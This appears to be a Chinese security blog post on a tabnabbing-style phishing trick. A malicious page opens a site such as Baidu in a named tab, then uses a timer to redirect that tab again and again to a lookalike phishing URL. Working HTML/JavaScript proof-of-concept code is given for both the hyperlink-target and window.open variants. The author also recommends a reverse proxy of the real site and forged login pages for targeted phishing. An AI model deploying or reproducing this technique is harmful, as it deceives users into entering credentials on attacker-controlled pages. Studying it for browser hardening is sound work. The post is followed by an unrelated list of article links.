前端黑魔法之远程控制地址栏
由于今天看到一篇文章《危险的 target="_blank" 与 “opener”》,里面提到了一个老知识点,就是target="_blank"的时候,新打开的页面可以通过window.opener来控制源页面的URL,进行钓鱼攻击。这个攻击手法我在博客《神奇的opener对象》中也说过,这里就不再赘述了。这篇文章抛出另一种与target有关的钓鱼攻击。
0x01 效果演示
首先可以看一个小例子:
见上图,打开上述链接,然后点击“click me”,打开了百度。这时查看地址栏,的的确确是百度,然后我们等待10秒,再次查看地址栏,这个时候已经变成攻击者的网址了;即使此时我们再访问淘宝等页面,只要仍然在这个标签页下,地址栏就仍然会被控制。
0x02 原理说明
上述页面的代码也很简单:
<html>
<head><meta charset="utf-8"></head>
<body>
<a href="https://www.baidu.com" target="baidu" id="baidu" onclick="return start()">click me</a>
<script>
function start() {
setInterval(function() {
baidu.href="http://675ba661.w1n.pw/baidu";
baidu.click();
}, 10000);
}
</script>
</body>
</html>
如果用户点击了超链接“click me”,这里会启动一个循环定时器,每过10秒钟,将会将超链接的地址更换成一个仿百度的钓鱼网站,并再次点击。(当然,如果是真实攻击的话,最好是做一个真实目标的反代服务器,这个在我另一篇文章《openresty+lua在反向代理服务中的玩法》中也有详细的介绍)
这里,超链接的target属性指定目标URL在哪个页面下打开,就是目标页面的window.name。如果这个a标签的href发生了变化,再次点击链接,页面仍然会在相同的标签页下打开,所以就覆盖了上一次打开的页面。
比如,我们是一个“网址导航”类型的恶意网站,用户在我们网站上打开了百度、淘宝等标签页面,我们将可以根据用户打开的超链接来生成钓鱼页面,伪造这些网站的登录页面,精准地进行钓鱼。我这里就不进行演示了。
0x03 扩展尝试
除了超链接以外,用window.open也可以达到一样的效果:
<html>
<head><meta charset="utf-8"></head>
<body>
<a href="javascript:;" onclick="return start()">click me</a>
<script>
function start() {
var w = window.open('https://www.baidu.com', 'baidu');
setInterval(function() {
w.location = 'http://675ba661.w1n.pw/baidu'
}, 5000)
}
</script>
</body>
</html>
不过,window.open经常会被广告拦截相关的功能给阻止掉,所以可能效果不如直接用超链接。
那么,继续深入研究。这个现象究竟是否和window.name有关呢?那么是不是我们知道了某个页面的name,即可对其页面的URL进行控制?
我们可以做一个实验。编写A页面( http://a.675ba661.w1n.pw/A_victim ):
<html>
<head><meta charset="utf-8"></head>
<body>
<p>Hello world.</p>
<script>
window.name = 'baidu';
</script>
</body>
</html>
编写B页面( http://b.675ba661.w1n.pw/B_attacker ):
<html>
<head><meta charset="utf-8"></head>
<body>
<a href="https://www.baidu.com" target="baidu" id="baidu">click me</a>
</body>
</html>
A页面是目标网站,其中设置自己的name是baidu;B是攻击者的页面,其中设置target="baidu"
。
显然,我们在B中点击“click me”以后,会打开一个新的页面,而不是修改A页面的URL。这个实验说明,URL的远程控制和window.name没有直接关系,而是和页面的父子关系有关。
0x04 总结
本文所描述的攻击方式和opener的攻击方式比较相似,都是在不能跨域的情况下,控制目标标签页的URL,进而进行钓鱼攻击。
但我觉得这个攻击持久型更佳,因为即使用户在新标签中输入自己的域名,或者又通过超链接点击到其他网站里,这个页面的地址栏永远是受到源页面的控制的。理论上在源页面不关闭的情况下,可以永久控制新页面的地址栏。
- 使用concurrent.futures模块并发,实现进程池、线程池
- 人工智能与医疗
- 每周论文清单:知识图谱,文本匹配,图像翻译,视频对象分割
- 进程池、线程池、回调函数
- java学习:weblogic下JNDI及JDBC连接测试(weblogic环境)
- 简单谈谈python的反射机制
- java学习:使用dom4j读写xml文件
- python文件和目录操作方法大全
- 自动驾驶汽车伦理大讨论:到底谁有权决定他人的生死?
- 异常处理:1215 - Cannot add foreign key constraint
- pymysql模块
- oracle 11g 查看服务端/客户端编码,及修改db编码
- PHP7 下的协程实现
- mysql数据备份与恢复
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- .Net Core微服务入门全纪录(三)——Consul-服务注册与发现(下)
- MTO变量缩放与统一决策空间
- css相关的几个点
- .Net Core微服务入门全纪录(四)——Ocelot-API网关(上)
- Apache下如何禁止指定目录运行PHP脚本
- .Net Core微服务入门全纪录(五)——Ocelot-API网关(下)
- 在Docker中运行PostgreSQL + pgAdmin 4
- .Net Core微服务入门全纪录(六)——EventBus-事件总线
- SVN提交时强制用户写日志
- Apache vhost配置
- win10使用WSL 2运行Docker Desktop,运行文件从C盘迁移到其他目录
- htaccess简介和16个小技巧
- Nginx禁止指定目录运行PHP脚本
- 机器学习数学笔记|偏度与峰度及其 python 实现
- ABP(ASP.NET Boilerplate Project)快速入门